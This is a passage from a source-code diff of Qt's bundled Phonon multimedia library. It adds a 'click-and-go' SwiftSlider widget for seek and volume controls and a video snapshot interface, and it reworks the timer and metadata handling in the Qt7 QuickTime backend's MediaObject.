+            QList<int> objectDescriptionIndexes(ObjectDescriptionType type) const;
+            QHash<QByteArray, QVariant> objectDescriptionProperties(ObjectDescriptionType type, int index) const;
+            QList<int> objectIndexesByCategory(ObjectDescriptionType type, Category category) const;
+
+            void setOutputDevicePriorityForCategory(Category category, QList<int> order);
+            void setCaptureDevicePriorityForCategory(Category category, QList<int> order);
+
+            void setStreamPropList(Category category, QString streamUuid);
+            void emitObjectDescriptionChanged(ObjectDescriptionType);
+            void emitUsingDevice(QString streamUuid, int device);
+
+            bool setOutputDevice(QString streamUuid, int device);
+            bool setCaptureDevice(QString streamUuid, int device);
+            void clearStreamCache(QString streamUuid);
+
+        signals:
+            void objectDescriptionChanged(ObjectDescriptionType);
+            void usingDevice(QString streamUuid, int device);
+
+        private:
+            PulseSupport();
+            ~PulseSupport();
+
+            bool mEnabled;
+    };
+} // namespace Phonon
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+#endif // PHONON_PULSESUPPORT_H
diff --git a/src/3rdparty/phonon/phonon/seekslider.cpp b/src/3rdparty/phonon/phonon/seekslider.cpp
index 41baf2d..b5b25f0 100644
--- a/src/3rdparty/phonon/phonon/seekslider.cpp
+++ b/src/3rdparty/phonon/phonon/seekslider.cpp
@@ -72,12 +72,12 @@ void SeekSlider::setMediaObject(MediaObject *media)
     d->media = media;
 
     if (media) {
-        connect(media, SIGNAL(stateChanged(Phonon::State,Phonon::State)),
+        connect(media, SIGNAL(stateChanged(Phonon::State, Phonon::State)),
                 SLOT(_k_stateChanged(Phonon::State)));
         connect(media, SIGNAL(totalTimeChanged(qint64)), SLOT(_k_length(qint64)));
         connect(media, SIGNAL(tick(qint64)), SLOT(_k_tick(qint64)));
         connect(media, SIGNAL(seekableChanged(bool)), SLOT(_k_seekableChanged(bool)));
-        connect(media, SIGNAL(currentSourceChanged(Phonon::MediaSource)), SLOT(_k_currentSourceChanged()));
+        connect(media, SIGNAL(currentSourceChanged(const Phonon::MediaSource&)), SLOT(_k_currentSourceChanged()));
         d->_k_stateChanged(media->state());
         d->_k_seekableChanged(media->isSeekable());
         d->_k_length(media->totalTime());
diff --git a/src/3rdparty/phonon/phonon/seekslider_p.h b/src/3rdparty/phonon/phonon/seekslider_p.h
index c87a4b0..911ab25 100644
--- a/src/3rdparty/phonon/phonon/seekslider_p.h
+++ b/src/3rdparty/phonon/phonon/seekslider_p.h
@@ -24,8 +24,8 @@
 #define SEEKSLIDER_P_H
 
 #include "seekslider.h"
+#include "swiftslider_p.h"
 #include <QtGui/QBoxLayout>
-#include <QtGui/QSlider>
 #include <QtGui/QLabel>
 #include <QtGui/QPixmap>
 #include <QtGui/QIcon>
@@ -84,7 +84,7 @@ class SeekSliderPrivate
         void _k_currentSourceChanged();
 
         QBoxLayout layout;
-        QSlider slider;
+        SwiftSlider slider;
         QLabel iconLabel;
         QPointer<MediaObject> media;
         bool ticking;
diff --git a/src/3rdparty/phonon/phonon/swiftslider.cpp b/src/3rdparty/phonon/phonon/swiftslider.cpp
new file mode 100644
index 0000000..1e274aa
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/swiftslider.cpp
@@ -0,0 +1,103 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2006-2008 Ricardo Villalba <rvm@escomposlinux.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include "swiftslider_p.h"
+
+#include <QtGui/QMouseEvent>
+#include <QtGui/QStyle>
+#include <QtGui/QStyleOption>
+
+QT_BEGIN_NAMESPACE
+
+#if !defined(QT_NO_PHONON_SEEKSLIDER) && !defined(QT_NO_PHONON_VOLUMESLIDER)
+
+namespace Phonon
+{
+
+SwiftSlider::SwiftSlider(Qt::Orientation orientation, QWidget * parent)
+	: QSlider(orientation, parent)
+{
+}
+
+SwiftSlider::~SwiftSlider()
+{
+}
+
+// Function copied from qslider.cpp
+inline int SwiftSlider::pick(const QPoint &pt) const
+{
+    return orientation() == Qt::Horizontal ? pt.x() : pt.y();
+}
+
+// Function copied from qslider.cpp and modified to make it compile
+int SwiftSlider::pixelPosToRangeValue(int pos) const
+{
+    QStyleOptionSlider opt;
+    initStyleOption(&opt);
+    QRect gr = style()->subControlRect(QStyle::CC_Slider, &opt, QStyle::SC_SliderGroove, this);
+    QRect sr = style()->subControlRect(QStyle::CC_Slider, &opt, QStyle::SC_SliderHandle, this);
+    int sliderMin, sliderMax, sliderLength;
+
+    if (orientation() == Qt::Horizontal) {
+        sliderLength = sr.width();
+        sliderMin = gr.x();
+        sliderMax = gr.right() - sliderLength + 1;
+    } else {
+        sliderLength = sr.height();
+        sliderMin = gr.y();
+        sliderMax = gr.bottom() - sliderLength + 1;
+    }
+    return QStyle::sliderValueFromPosition(minimum(), maximum(), pos - sliderMin,
+                                           sliderMax - sliderMin, opt.upsideDown);
+}
+
+// Based on code from qslider.cpp
+void SwiftSlider::mousePressEvent(QMouseEvent *event)
+{
+    if (event->button() == Qt::LeftButton) {
+        QStyleOptionSlider opt;
+        initStyleOption(&opt);
+        const QRect sliderRect = style()->subControlRect(QStyle::CC_Slider, &opt, QStyle::SC_SliderHandle, this);
+        const QPoint center = sliderRect.center() - sliderRect.topLeft();
+        // to take half of the slider off for the setSliderPosition call we use the center - topLeft
+
+        if (!sliderRect.contains(event->pos())) {
+            event->accept();
+
+            setSliderPosition(pixelPosToRangeValue(pick(event->pos() - center)));
+            triggerAction(SliderMove);
+            setRepeatAction(SliderNoAction);
+        } else {
+            QSlider::mousePressEvent(event);
+        }
+    } else {
+        QSlider::mousePressEvent(event);
+    }
+}
+
+} // namespace Phonon
+
+#endif //QT_NO_PHONON_VOLUMESLIDER && QT_NO_PHONON_VOLUMESLIDER
+
+QT_END_NAMESPACE
+
+#include "moc_swiftslider_p.cpp"
diff --git a/src/3rdparty/phonon/phonon/swiftslider_p.h b/src/3rdparty/phonon/phonon/swiftslider_p.h
new file mode 100644
index 0000000..b063b47
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/swiftslider_p.h
@@ -0,0 +1,68 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2006-2008 Ricardo Villalba <rvm@escomposlinux.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef SWIFTSLIDER_H
+#define SWIFTSLIDER_H
+
+#include <QtGui/QSlider>
+
+QT_BEGIN_NAMESPACE
+
+#if !defined(QT_NO_PHONON_SEEKSLIDER) && !defined(QT_NO_PHONON_VOLUMESLIDER)
+
+namespace Phonon
+{
+
+/** \class SwiftSlider swiftslider_p.h phonon/SwiftSlider
+ * \short Modified QSlider that allows sudden/quick moves instead of stepped moves ("Click'n'Go" QSlider)
+ *
+ * This is an internal class used by SeekSlider and VolumeSlider.
+ *
+ * Ricardo Villalba, the original author of MySlider.cpp (from the SMPlayer project)
+ * gave his permission for the inclusion of this code inside Phonon by
+ * switching MySlider.cpp to the LGPLv2.1+ license.
+ * See http://smplayer.svn.sourceforge.net/viewvc/smplayer/smplayer/trunk/src/myslider.cpp?revision=2406&view=markup
+ *
+ * The original discussion about a "Click'n'Go QSlider": http://lists.trolltech.com/qt-interest/2006-11/msg00363.html
+ *
+ * \ingroup PhononWidgets
+ */
+class SwiftSlider : public QSlider
+{
+	Q_OBJECT
+public:
+	SwiftSlider(Qt::Orientation orientation, QWidget * parent);
+	~SwiftSlider();
+
+private:
+	void mousePressEvent(QMouseEvent *event);
+	inline int pick(const QPoint &pt) const;
+	int pixelPosToRangeValue(int pos) const;
+};
+
+} // namespace Phonon
+
+#endif //QT_NO_PHONON_VOLUMESLIDER && QT_NO_PHONON_VOLUMESLIDER
+
+QT_END_NAMESPACE
+
+#endif //SWIFTSLIDER_H
diff --git a/src/3rdparty/phonon/phonon/videowidget.cpp b/src/3rdparty/phonon/phonon/videowidget.cpp
index a9e83a6..4575dfd 100644
--- a/src/3rdparty/phonon/phonon/videowidget.cpp
+++ b/src/3rdparty/phonon/phonon/videowidget.cpp
@@ -28,8 +28,9 @@
 #include "phononnamespace_p.h"
 
 #include <QtGui/QAction>
-
-#define PHONON_INTERFACENAME VideoWidgetInterface
+#define IFACES4 VideoWidgetInterface44
+#define IFACES0 VideoWidgetInterface, IFACES4
+#define PHONON_INTERFACENAME IFACES0
 
 QT_BEGIN_NAMESPACE
 
@@ -48,6 +49,8 @@ VideoWidget::VideoWidget(QWidget *parent)
     setMouseTracking(true);
 }
 
+
+
 VideoWidget::VideoWidget(VideoWidgetPrivate &dd, QWidget *parent)
     : QWidget(parent),
     Phonon::AbstractVideoOutput(dd)
@@ -98,6 +101,15 @@ PHONON_INTERFACE_SETTER(setHue, hue, qreal)
 PHONON_INTERFACE_GETTER(qreal, saturation, d->saturation)
 PHONON_INTERFACE_SETTER(setSaturation, saturation, qreal)
 
+
+QImage VideoWidget::snapshot() const {
+    K_D(const VideoWidget);
+    ConstIface<IFACES4> iface(d);
+    if(iface) return iface->snapshot();
+    return QImage(); // TODO not implemented in VideoInterface
+}
+
+
 void VideoWidget::setFullScreen(bool newFullScreen)
 {
     pDebug() << Q_FUNC_INFO << newFullScreen;
diff --git a/src/3rdparty/phonon/phonon/videowidget.h b/src/3rdparty/phonon/phonon/videowidget.h
index 1d95490..804e61a 100644
--- a/src/3rdparty/phonon/phonon/videowidget.h
+++ b/src/3rdparty/phonon/phonon/videowidget.h
@@ -172,6 +172,7 @@ class AbstractVideoOutput;
             qreal contrast() const;
             qreal hue() const;
             qreal saturation() const;
+            QImage snapshot() const;
 
             //TODO: bar colors property
         public Q_SLOTS:
diff --git a/src/3rdparty/phonon/phonon/videowidgetinterface.h b/src/3rdparty/phonon/phonon/videowidgetinterface.h
index 3e6fd22..0c33956 100644
--- a/src/3rdparty/phonon/phonon/videowidgetinterface.h
+++ b/src/3rdparty/phonon/phonon/videowidgetinterface.h
@@ -53,8 +53,21 @@ class VideoWidgetInterface
 //X        virtual int overlayCapabilities() const = 0;
 //X        virtual bool createOverlay(QWidget *widget, int type) = 0;
 };
+
+class VideoWidgetInterface44 : public VideoWidgetInterface
+{
+    public:
+        virtual QImage snapshot() const = 0;
+};
 }
 
+#ifdef PHONON_BACKEND_VERSION_4_4
+namespace Phonon { typedef VideoWidgetInterface44 VideoWidgetInterfaceLatest; }
+#else
+namespace Phonon { typedef VideoWidgetInterface VideoWidgetInterfaceLatest; }
+#endif
+
+Q_DECLARE_INTERFACE(Phonon::VideoWidgetInterface44, "VideoWidgetInterface44.phonon.kde.org")
 Q_DECLARE_INTERFACE(Phonon::VideoWidgetInterface, "VideoWidgetInterface3.phonon.kde.org")
 
 #endif //QT_NO_PHONON_VIDEO
diff --git a/src/3rdparty/phonon/phonon/volumeslider_p.h b/src/3rdparty/phonon/phonon/volumeslider_p.h
index 3827659..623275f 100644
--- a/src/3rdparty/phonon/phonon/volumeslider_p.h
+++ b/src/3rdparty/phonon/phonon/volumeslider_p.h
@@ -24,8 +24,8 @@
 #define VOLUMESLIDER_P_H
 
 #include "volumeslider.h"
+#include "swiftslider_p.h"
 #include <QtGui/QBoxLayout>
-#include <QtGui/QSlider>
 #include <QtGui/QLabel>
 #include <QtGui/QPixmap>
 #include <QtGui/QToolButton>
@@ -83,7 +83,7 @@ class VolumeSliderPrivate
 
     private:
         QBoxLayout layout;
-        QSlider slider;
+        SwiftSlider slider;
         QToolButton muteButton;
         QIcon volumeIcon;
         QIcon mutedIcon;
diff --git a/src/3rdparty/phonon/qt7/audionode.h b/src/3rdparty/phonon/qt7/audionode.h
index 2498e49..dfec817f 100644
--- a/src/3rdparty/phonon/qt7/audionode.h
+++ b/src/3rdparty/phonon/qt7/audionode.h
@@ -72,7 +72,7 @@ namespace QT7
             AudioUnit m_audioUnit;
 
             // Only the following methods needs to
-            // be overidden by only_one-audio-unit nodes:
+            // be overridden by only_one-audio-unit nodes:
             virtual ComponentDescription getAudioNodeDescription() const;
             virtual void initializeAudioUnit();
 
diff --git a/src/3rdparty/phonon/qt7/audionode.mm b/src/3rdparty/phonon/qt7/audionode.mm
index 961230c..77cd627 100644
--- a/src/3rdparty/phonon/qt7/audionode.mm
+++ b/src/3rdparty/phonon/qt7/audionode.mm
@@ -77,6 +77,7 @@ void AudioNode::createAndConnectAUNodes()
     // AudioComponentDescription only exists on 10.6+. More fun than we need to
     // deal with at the moment, so we'll take the "deprecated" warning instead.
     err = AUGraphNewNode(m_audioGraph->audioGraphRef(), &description, 0, 0, &m_auNode);
+        
     BACKEND_ASSERT2(err != kAUGraphErr_OutputNodeErr, "A MediaObject can only be connected to one audio output device.", FATAL_ERROR)
     BACKEND_ASSERT2(err == noErr, "Could not create new AUNode.", FATAL_ERROR)
 }
diff --git a/src/3rdparty/phonon/qt7/backendinfo.mm b/src/3rdparty/phonon/qt7/backendinfo.mm
index 0d51db0..d84e014 100644
--- a/src/3rdparty/phonon/qt7/backendinfo.mm
+++ b/src/3rdparty/phonon/qt7/backendinfo.mm
@@ -15,6 +15,12 @@
     along with this library.  If not, see <http://www.gnu.org/licenses/>.
 */
 
+#import <QTKit/QTMovie.h>
+#ifdef QUICKTIME_C_API_AVAILABLE
+    #include <QuickTime/QuickTime.h>
+    #undef check // avoid name clash;
+#endif
+
 #include "backendinfo.h"
 #include "backendheader.h"
 
@@ -22,13 +28,6 @@
 #include <AudioUnit/AudioUnit.h>
 #include <CoreServices/CoreServices.h>
 
-#include <QtGui/qmacdefines_mac.h>
-#import <QTKit/QTMovie.h>
-
-#ifdef QUICKTIME_C_API_AVAILABLE
-    #include <QuickTime/QuickTime.h>
-    #undef check // avoid name clash;
-#endif
 
 QT_BEGIN_NAMESPACE
 
diff --git a/src/3rdparty/phonon/qt7/mediaobject.h b/src/3rdparty/phonon/qt7/mediaobject.h
index c93eddc..27949ec 100644
--- a/src/3rdparty/phonon/qt7/mediaobject.h
+++ b/src/3rdparty/phonon/qt7/mediaobject.h
@@ -25,10 +25,6 @@
 
 #include "medianode.h"
 
-#if QT_ALLOW_QUICKTIME
-    #include <QuickTime/QuickTime.h>
-#endif
-
 QT_BEGIN_NAMESPACE
 
 namespace Phonon
@@ -42,10 +38,7 @@ namespace QT7
     class MediaObjectAudioNode;
 
     class MediaObject : public MediaNode,
-        public Phonon::MediaObjectInterface
-#ifndef QT_NO_PHONON_MEDIACONTROLLER
-        , public Phonon::AddonInterface
-#endif
+        public Phonon::MediaObjectInterface, public Phonon::AddonInterface
     {
         Q_OBJECT
         Q_INTERFACES(Phonon::MediaObjectInterface Phonon::AddonInterface)
@@ -99,10 +92,6 @@ namespace QT7
 
 		int videoOutputCount();
 
-#if QT_ALLOW_QUICKTIME
-        void displayLinkEvent();
-#endif
-
     signals:
         void stateChanged(Phonon::State,Phonon::State);
         void tick(qint64);
@@ -116,16 +105,6 @@ namespace QT7
         void metaDataChanged(QMultiMap<QString,QString>);
         void currentSourceChanged(const MediaSource &newSource);
 
-        // Add-on interface:
-        void availableSubtitlesChanged();
-        void availableAudioChannelsChanged();
-        void titleChanged(int);
-        void availableTitlesChanged(int);
-        void chapterChanged(int);
-        void availableChaptersChanged(int);
-        void angleChanged(int);
-        void availableAnglesChanged(int);
-
     protected:
         void mediaNodeEvent(const MediaNodeEvent *event);
         bool event(QEvent *event);
@@ -139,14 +118,7 @@ namespace QT7
         QuickTimeVideoPlayer *m_nextVideoPlayer;
         QuickTimeAudioPlayer *m_nextAudioPlayer;
         MediaObjectAudioNode *m_mediaObjectAudioNode;
-
-#if QT_ALLOW_QUICKTIME
-        CVDisplayLinkRef m_displayLink;
-        QMutex m_displayLinkMutex;
-        bool m_pendingDisplayLinkEvent;
-        void startDisplayLink();
-        void stopDisplayLink();
-#endif
+        QuickTimeMetaData *m_metaData;
 
         qint32 m_tickInterval;
         qint32 m_transitionTime;
@@ -155,14 +127,12 @@ namespace QT7
         float m_percentageLoaded;
 
         int m_tickTimer;
-        int m_videoTimer;
-        int m_audioTimer;
+        int m_bufferTimer;
         int m_rapidTimer;
 
         bool m_waitNextSwap;
         int m_swapTimeLeft;
         QTime m_swapTime;
-        bool m_autoplayTitles;
 
         void synchAudioVideo();
         void updateCurrentTime();
@@ -171,7 +141,8 @@ namespace QT7
         void pause_internal();
         void play_internal();
         void setupAudioSystem();
-        void restartAudioVideoTimers();
+        void updateTimer(int &timer, int interval);
+        void bufferAudioVideo();
         void updateRapidly();
         void updateCrossFade();
         void updateAudioBuffers();
@@ -183,7 +154,6 @@ namespace QT7
 		void inspectVideoGraphRecursive(MediaNode *node, int &effectCount, int &outputCount);
         void inspectGraph();
         bool isCrossFading();
-        void setCurrentTrack(int track);
 
         QString m_errorString;
         Phonon::ErrorType m_errorType;
diff --git a/src/3rdparty/phonon/qt7/mediaobject.mm b/src/3rdparty/phonon/qt7/mediaobject.mm
index 677640c..002c337 100644
--- a/src/3rdparty/phonon/qt7/mediaobject.mm
+++ b/src/3rdparty/phonon/qt7/mediaobject.mm
@@ -46,6 +46,7 @@ MediaObject::MediaObject(QObject *parent) : MediaNode(AudioSource | VideoSource,
     m_mediaObjectAudioNode = new MediaObjectAudioNode(m_audioPlayer, m_nextAudioPlayer);
     setAudioNode(m_mediaObjectAudioNode);
 
+    m_metaData = new QuickTimeMetaData();
     m_audioGraph = new AudioGraph(this);
 
     m_tickInterval = 0;
@@ -54,7 +55,6 @@ MediaObject::MediaObject(QObject *parent) : MediaNode(AudioSource | VideoSource,
     m_transitionTime = 0;
     m_percentageLoaded = 0;
     m_waitNextSwap = false;
-    m_autoplayTitles = true;
     m_audioEffectCount = 0;
     m_audioOutputCount = 0;
     m_videoEffectCount = 0;
@@ -63,28 +63,20 @@ MediaObject::MediaObject(QObject *parent) : MediaNode(AudioSource | VideoSource,
     m_errorType = Phonon::NoError;
 
     m_tickTimer = 0;
-    m_videoTimer = 0;
-    m_audioTimer = 0;
+    m_bufferTimer = 0;
     m_rapidTimer = 0;
 
-#if QT_ALLOW_QUICKTIME
-    m_displayLink = 0;
-    m_pendingDisplayLinkEvent = false;
-#endif
-
     checkForError();
 }
 
 MediaObject::~MediaObject()
-{
-    // m_mediaObjectAudioNode is owned by super class.
-#if QT_ALLOW_QUICKTIME
-    stopDisplayLink();
-#endif
+{   
+    // m_mediaObjectAudioNode is owned by super class.    
     m_audioPlayer->unsetVideoPlayer();
     m_nextAudioPlayer->unsetVideoPlayer();
     delete m_videoPlayer;
     delete m_nextVideoPlayer;
+    delete m_metaData;
     checkForError();
 }
 
@@ -96,7 +88,7 @@ bool MediaObject::setState(Phonon::State state)
         emit stateChanged(m_state, prevState);
         if (m_state != state){
             // End-application did something
-            // upon  receiving the signal.
+            // upon  receiving the signal. 
             return false;
         }
     }
@@ -130,7 +122,7 @@ void MediaObject::inspectGraph()
     // Inspect the graph to check wether there are any
     // effects or outputs connected. This will have
     // influence on the audio system and video system that ends up beeing used:
-    int prevVideoOutputCount = m_videoOutputCount;
+    int prevVideoOutputCount = m_videoOutputCount;	
     m_audioEffectCount = 0;
     m_audioOutputCount = 0;
     m_videoEffectCount = 0;
@@ -142,7 +134,7 @@ void MediaObject::inspectGraph()
 	if (m_videoOutputCount != prevVideoOutputCount){
 	    MediaNodeEvent e1(MediaNodeEvent::VideoOutputCountChanged, &m_videoOutputCount);
 	    notify(&e1);
-    }
+	}	
 }
 
 void MediaObject::setupAudioSystem()
@@ -175,14 +167,14 @@ void MediaObject::setupAudioSystem()
 
     if (newAudioSystem == m_audioSystem)
         return;
-
+  
     // Enable selected audio system:
-    m_audioSystem = newAudioSystem;
+    m_audioSystem = newAudioSystem; 
     switch (newAudioSystem){
         case AS_Silent:
             m_audioGraph->stop();
             m_videoPlayer->enableAudio(false);
-            m_nextVideoPlayer->enableAudio(false);
+            m_nextVideoPlayer->enableAudio(false);    
             m_audioPlayer->enableAudio(false);
             m_nextAudioPlayer->enableAudio(false);
         break;
@@ -222,28 +214,28 @@ void MediaObject::setSource(const MediaSource &source)
     IMPLEMENTED;
 	PhononAutoReleasePool pool;
     setState(Phonon::LoadingState);
-
+    
     // Save current state for event/signal handling below:
     bool prevHasVideo = m_videoPlayer->hasVideo();
     qint64 prevTotalTime = totalTime();
-    int prevTrackCount = m_videoPlayer->trackCount();
     m_waitNextSwap = false;
-
+        
     // Cancel cross-fade if any:
     m_nextVideoPlayer->pause();
     m_nextAudioPlayer->pause();
     m_mediaObjectAudioNode->cancelCrossFade();
-
+    
     // Set new source:
     m_audioPlayer->unsetVideoPlayer();
     m_videoPlayer->setMediaSource(source);
     m_audioPlayer->setVideoPlayer(m_videoPlayer);
+    m_metaData->setVideo(m_videoPlayer);        
 
-    m_audioGraph->updateStreamSpecifications();
+    m_audioGraph->updateStreamSpecifications();        
     m_nextAudioPlayer->unsetVideoPlayer();
-    m_nextVideoPlayer->unsetCurrentMediaSource();
+    m_nextVideoPlayer->unsetVideo();
     m_currentTime = 0;
-
+        
     // Emit/notify information about the new source:
     QRect videoRect = m_videoPlayer->videoRect();
     MediaNodeEvent e1(MediaNodeEvent::VideoFrameSizeChanged, &videoRect);
@@ -254,14 +246,12 @@ void MediaObject::setSource(const MediaSource &source)
     updateVideo(emptyFrame);
 
     emit currentSourceChanged(source);
-    emit metaDataChanged(m_videoPlayer->metaData());
+    emit metaDataChanged(m_metaData->metaData());
 
     if (prevHasVideo != m_videoPlayer->hasVideo())
-        emit hasVideoChanged(m_videoPlayer->hasVideo());
+        emit hasVideoChanged(m_videoPlayer->hasVideo());        
     if (prevTotalTime != totalTime())
-        emit totalTimeChanged(totalTime());
-    if (prevTrackCount != m_videoPlayer->trackCount())
-        emit availableTitlesChanged(m_videoPlayer->trackCount());
+        emit totalTimeChanged(totalTime());        
     if (checkForError())
         return;
     if (!m_videoPlayer->isDrmAuthorized())
@@ -270,7 +260,7 @@ void MediaObject::setSource(const MediaSource &source)
         return;
     if (!m_videoPlayer->canPlayMedia())
         SET_ERROR("Cannot play media.", FATAL_ERROR)
-
+        
     // The state might have changed from LoadingState
     // as a response to an error state change. So we
     // need to check it before stopping: 
@@ -297,30 +287,28 @@ void MediaObject::swapCurrentWithNext(qint32 transitionTime)
     // Save current state for event/signal handling below:
     bool prevHasVideo = m_videoPlayer->hasVideo();
     qint64 prevTotalTime = totalTime();
-    int prevTrackCount = m_videoPlayer->trackCount();
 
     qSwap(m_audioPlayer, m_nextAudioPlayer);
     qSwap(m_videoPlayer, m_nextVideoPlayer);
     m_mediaObjectAudioNode->startCrossFade(transitionTime);
     m_audioGraph->updateStreamSpecifications();
+    m_metaData->setVideo(m_videoPlayer);
 
     m_waitNextSwap = false;
     m_currentTime = 0;
-
+        
     // Emit/notify information about the new source:
     QRect videoRect = m_videoPlayer->videoRect();
     MediaNodeEvent e1(MediaNodeEvent::VideoFrameSizeChanged, &videoRect);
     notify(&e1);
 
     emit currentSourceChanged(m_videoPlayer->mediaSource());
-    emit metaDataChanged(m_videoPlayer->metaData());
+    emit metaDataChanged(m_metaData->metaData());
 
     if (prevHasVideo != m_videoPlayer->hasVideo())
-        emit hasVideoChanged(m_videoPlayer->hasVideo());
+        emit hasVideoChanged(m_videoPlayer->hasVideo());        
     if (prevTotalTime != totalTime())
         emit totalTimeChanged(totalTime());
-    if (prevTrackCount != m_videoPlayer->trackCount())
-        emit availableTitlesChanged(m_videoPlayer->trackCount());
     if (checkForError())
         return;
     if (!m_videoPlayer->isDrmAuthorized())
@@ -339,107 +327,28 @@ void MediaObject::swapCurrentWithNext(qint32 transitionTime)
     }
 }
 
-#if QT_ALLOW_QUICKTIME
-static CVReturn displayLinkCallback(CVDisplayLinkRef /*displayLink*/,
-								 const CVTimeStamp */*inNow*/,
-								 const CVTimeStamp */*inOutputTime*/,
-								 CVOptionFlags /*flagsIn*/,
-								 CVOptionFlags */*flagsOut*/,
-                                 void *userData)
-{
-    MediaObject *mediaObject = static_cast<MediaObject *>(userData);
-    mediaObject->displayLinkEvent();
-    return kCVReturnSuccess;
-}
-
-void MediaObject::displayLinkEvent()
-{
-    // This function is called from a
-    // thread != gui thread. So we post the event.
-    // But we need to make sure that we don't post faster
-    // than the event loop can eat:
-    m_displayLinkMutex.lock();
-    bool pending = m_pendingDisplayLinkEvent;
-    m_pendingDisplayLinkEvent = true;
-    m_displayLinkMutex.unlock();
-
-    if (!pending)
-        qApp->postEvent(this, new QEvent(QEvent::User), Qt::HighEventPriority);
-}
-
-void MediaObject::startDisplayLink()
+void MediaObject::updateTimer(int &timer, int interval)
 {
-    if (m_displayLink)
-        return;
-    OSStatus err = CVDisplayLinkCreateWithCGDisplay(kCGDirectMainDisplay, &m_displayLink);
-    if (err != noErr)
-        goto fail;
-    err = CVDisplayLinkSetCurrentCGDisplay(m_displayLink, kCGDirectMainDisplay);
-    if (err != noErr)
-        goto fail;
-    err = CVDisplayLinkSetOutputCallback(m_displayLink, displayLinkCallback, this);
-    if (err != noErr)
-        goto fail;
-    err = CVDisplayLinkStart(m_displayLink);
-    if (err != noErr)
-        goto fail;
-    return;
-fail:
-    stopDisplayLink();
-}
-
-void MediaObject::stopDisplayLink()
-{
-    if (!m_displayLink)
-        return;
-    CVDisplayLinkStop(m_displayLink);
-    CFRelease(m_displayLink);
-    m_displayLink = 0;
-}
-#endif
-
-void MediaObject::restartAudioVideoTimers()
-{
-    if (m_videoTimer)
-        killTimer(m_videoTimer);
-    if (m_audioTimer)
-        killTimer(m_audioTimer);
-
-#if QT_ALLOW_QUICKTIME
-    // We prefer to use a display link as timer if available, since
-    // it is more steady, and results in better and smoother frame drawing:
-    startDisplayLink();
-    if (!m_displayLink){
-        float fps = m_videoPlayer->staticFps();
-        long videoUpdateFrequency = fps ? long(1000.0f / fps) : 0.001;
-        m_videoTimer = startTimer(videoUpdateFrequency);
-    }
-#else
-    float fps = m_videoPlayer->staticFps();
-    long videoUpdateFrequency = fps ? long(1000.0f / fps) : 0.001;
-    m_videoTimer = startTimer(videoUpdateFrequency);
-#endif
-
-    long audioUpdateFrequency = m_audioPlayer->regularTaskFrequency();
-    m_audioTimer = startTimer(audioUpdateFrequency);
-    updateVideoFrames();
-    updateAudioBuffers();
+    if (timer)
+        killTimer(timer);
+    timer = 0;
+    if (interval >= 0)    
+        timer = startTimer(interval); 
 }
 
 void MediaObject::play_internal()
 {
     // Play main audio/video:
     m_videoPlayer->play();
-    m_audioPlayer->play();
+    m_audioPlayer->play();     
     updateLipSynch(0);
     // Play old audio/video to finish cross-fade:
     if (m_nextVideoPlayer->currentTime() > 0){
         m_nextVideoPlayer->play();
         m_nextAudioPlayer->play();
     }
-    restartAudioVideoTimers();
-    if (!m_rapidTimer)
-        m_rapidTimer = startTimer(100);
+    bufferAudioVideo();
+    updateTimer(m_rapidTimer, 100);
 }
 
 void MediaObject::pause_internal()
@@ -449,15 +358,9 @@ void MediaObject::pause_internal()
     m_nextAudioPlayer->pause();
     m_videoPlayer->pause();
     m_nextVideoPlayer->pause();
-    killTimer(m_rapidTimer);
-    killTimer(m_videoTimer);
-    killTimer(m_audioTimer);
-    m_rapidTimer = 0;
-    m_videoTimer = 0;
-    m_audioTimer = 0;
-#if QT_ALLOW_QUICKTIME
-    stopDisplayLink();
-#endif
+    updateTimer(m_rapidTimer, -1);
+    updateTimer(m_bufferTimer, -1);
+
     if (m_waitNextSwap)
         m_swapTimeLeft = m_swapTime.msecsTo(QTime::currentTime());
 }
@@ -479,7 +382,7 @@ void MediaObject::play()
     if (!m_videoPlayer->canPlayMedia())
         return;
     if (!setState(Phonon::PlayingState))
-        return;
+        return;        
     if (m_audioSystem == AS_Graph){
         m_audioGraph->start();
         m_mediaObjectAudioNode->setMute(true);
@@ -520,7 +423,7 @@ void MediaObject::stop()
     if (!setState(Phonon::StoppedState))
         return;
     m_waitNextSwap = false;
-    m_nextVideoPlayer->unsetCurrentMediaSource();
+    m_nextVideoPlayer->unsetVideo();
     m_nextAudioPlayer->unsetVideoPlayer();
     pause_internal();
     seek(0);
@@ -532,9 +435,9 @@ void MediaObject::seek(qint64 milliseconds)
     IMPLEMENTED;
     if (m_state == Phonon::ErrorState)
         return;
-
+        
     // Stop cross-fade if any:
-    m_nextVideoPlayer->unsetCurrentMediaSource();
+    m_nextVideoPlayer->unsetVideo();
     m_nextAudioPlayer->unsetVideoPlayer();
     m_mediaObjectAudioNode->cancelCrossFade();
 
@@ -543,7 +446,7 @@ void MediaObject::seek(qint64 milliseconds)
     m_videoPlayer->seek(milliseconds);
     m_audioPlayer->seek(m_videoPlayer->currentTime());
     m_mediaObjectAudioNode->setMute(false);
-
+    
